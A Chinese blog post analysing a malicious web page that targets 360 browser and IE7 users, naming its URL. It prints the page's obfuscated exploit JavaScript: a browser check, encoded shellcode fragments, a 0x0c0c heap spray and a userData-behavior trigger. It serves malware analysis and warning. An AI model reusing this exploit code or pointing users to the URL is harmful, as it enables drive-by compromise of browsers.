最近针对360浏览器的病毒分析

技术2022-05-20 41

病毒默认地址：http://www.w22rt.com/360safe.html（不要轻易打开，会中毒的）

里面的代码是：

<html><head><body><script>if(navigator.userAgent.toLowerCase().indexOf("/x6D/x73"+"/x69/x65"+"/x20/x37")==-1);document.write("<iframe width=100 height=0 src=360.html></iframe>");if(navigator.userAgent.toLowerCase().indexOf("/x6D/x73"+"/x69/x65"+"/x20/x37")>0);document.write("<iframe width=100 height=0 src=361.html></iframe>");</script></body></head></html>

从上开始看：

1、navigator.userAgent.toLowerCase()代表将用户浏览器类型取出来，小写。

"/x6D/x73"+"/x69/x65"+"/x20/x37" 解析过来时 msie 7

如果不是IE7浏览器，加载360.html

2、如果是IE7浏览器，加载361.html

主要的代码实在360.html和361.html里面，下面咱们来一起分析一下。

360.HTML：

开头是：

主要作用，屏蔽JS的错误，以免版本低的浏览器，弹出脚本错误框，偷偷摸摸的运行。

接下来：

try { new ActiveXObject("yutian"); }

同样用容错的方式创建控件yutian

如果不存在，那么会被catch(e)。

catch (e) {

//如果创建控件失败则执行这里var ytpps="%uyt9yt2yt9yt2";//声明了一个变量var UUse=(ytpps.replace(/yt/g,"")); //用正则表达式方式去掉上面那个变量中间的yt。那么剩下的就是%u9292var YTMTV="%ud5db%uc9c9%u87cd%u9292%ucaca%u93ca%u8fca%ucf8f%u93c9%ud2de%u92d0%u8b8e%uce8d%udbdc%u93d8%ucede%uBDce%uBD";

//据我分析，应该是文件内容}

接下来，再次创建这个控件。

try { new ActiveXObject("yutian"); }

如果出错则：

catch (e) {var YTavp123="%"+"u"+"5"+"8"+"yutianayt58%u58yutianayt58%u10yutianaytEB%u4Byutianayt5B%uC9yutianayt33%uB9yutianayt66%u03yutianaytB8%u34yutianayt80%uBDyutianayt0B%uFAE2%

u05yutianaytEB%uEByutianaytE8%uFFyutianaytFF";var YTavp1=(YTavp123.replace(/yutianayt/g,""));

//剩下的就是：

}

接下来，再次尝试：

try { new ActiveXObject("yutian"); } catch (e) {

var PPSytytYYtTTyyutianAVpYyTt=unescape(UUse+YTavp1+YTavp98+YTMTV+YTavp88);

//组合代码解码。}

<SCRIPT language=javascript>document.writeln("<BUTTON id=PPSytytYYtTTyyutian style=/"DISPLAY: none/" οnclick=newTyPPSytytYYtTTyyutianAVpYyTt();><//BUTTON>")

//创建一个隐藏的button，代替客户端点击按钮function PPSytytYYtTTyyutianAVp(){

YtYtTyPPSytytYYtTTyyutianAVpYyTt = new Array();

//创建了数组var BIytKKTyPPSytytYYtTTyyutianAVpYyTt = 0x86000-(PPSytytYYtTTyyutianAVpYyTt.length*2);//547872

var nopaca = 'kaix0c0c'+'kaix0c0c';var LFlwBa=unescape(nopaca.replace(/kaix/g,'%u')); while(LFlwBa.length<BIytKKTyPPSytytYYtTTyyutianAVpYyTt/2) { LFlwBa+=LFlwBa; }var youxiYTYTyyttYtTYyTian = LFlwBa.substring(0,BIytKKTyPPSytytYYtTTyyutianAVpYyTt/2);

//取出一半delete LFlwBa; //删除对象，释放内存，很好的编程方式for(YTiancazaWaGa=0; YTiancazaWaGa<270; YTiancazaWaGa++) { YtYtTyPPSytytYYtTTyyutianAVpYyTt[YTiancazaWaGa] = youxiYTYTyyttYtTYyTian + youxiYTYTyyttYtTYyTian + PPSytytYYtTTyyutianAVpYyTt;

//申请270个数组，继续填充，致使浏览器疯狂占用CPU，内存，卡死浏览器}}function newTyPPSytytYYtTTyyutianAVpYyTt(){PPSytytYYtTTyyutianAVp();//调用上面的函数var yutYianYtAYtVP = document.createElement('bo'+'dy'); //创建body节点yutYianYtAYtVP.addBehavior('#default#userData');

//亮点在这里，用浏览器的#default#userData。相当于放入cookie了，

document.getElementById('PPSytytYYtTTyyutian').onclick(); //模拟客户端点击</SCRIPT>

所以一打开浏览器就卡死了。唯一的办法，禁用脚本.

第二个，来看看361.html

所有的代码我粘贴在这里了，大概原理和上面一样，最后一句position:absolute;clip:rect(0);设置截取范围为0

当你下一次打开这个页面的时候，就执行那个代码，也就是控件，但是内容还没搞清楚是什么。继续研究中，暂时到这里吧
